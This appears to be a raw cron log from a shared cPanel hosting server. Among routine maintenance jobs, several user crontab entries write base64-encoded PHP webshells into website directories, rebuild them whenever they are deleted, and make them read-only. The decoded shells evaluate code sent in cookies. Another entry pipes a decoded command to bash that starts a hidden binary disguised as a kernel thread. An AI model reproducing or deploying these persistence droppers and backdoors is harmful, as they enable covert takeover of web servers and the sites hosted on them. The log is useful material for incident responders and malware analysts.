Mar  1 15:59:01 medusa CROND[18978]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:59:01 medusa CROND[18981]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:59:01 medusa CROND[18982]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:59:01 medusa CROND[18983]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:59:01 medusa CROND[18984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:59:01 medusa CROND[18985]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:59:01 medusa CROND[18986]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:59:01 medusa CROND[18987]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 15:59:01 medusa CROND[18988]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:59:01 medusa CROND[18992]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:59:01 medusa CROND[18991]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:59:01 medusa CROND[18996]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:00:01 medusa CROND[10092]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 16:00:01 medusa CROND[10094]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 16:00:01 medusa CROND[10161]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 16:00:02 medusa CROND[10225]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 16:00:02 medusa CROND[10308]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 16:00:02 medusa CROND[10309]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:00:02 medusa CROND[10314]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:00:02 medusa CROND[10315]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:00:02 medusa CROND[10316]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:00:02 medusa CROND[10318]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 16:00:02 medusa CROND[10317]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 16:00:02 medusa CROND[10322]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 16:00:02 medusa CROND[10320]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 16:00:02 medusa CROND[10324]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 16:00:02 medusa CROND[10326]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:00:02 medusa CROND[10329]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 16:00:02 medusa CROND[10328]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 16:00:02 medusa CROND[10333]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 16:00:02 medusa CROND[10334]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 16:00:02 medusa CROND[10343]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:00:02 medusa CROND[10342]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 16:00:02 medusa CROND[10344]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 16:00:02 medusa CROND[10354]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:00:02 medusa CROND[10357]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 16:00:02 medusa CROND[10358]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  1 16:00:02 medusa CROND[10360]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:00:02 medusa CROND[10349]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 16:00:02 medusa CROND[10361]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 16:00:02 medusa CROND[10364]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  1 16:00:02 medusa CROND[10368]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:00:02 medusa CROND[10359]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 16:00:02 medusa CROND[10371]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:00:02 medusa CROND[10373]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 16:00:02 medusa CROND[10366]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 16:00:02 medusa CROND[10374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:00:02 medusa CROND[10380]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
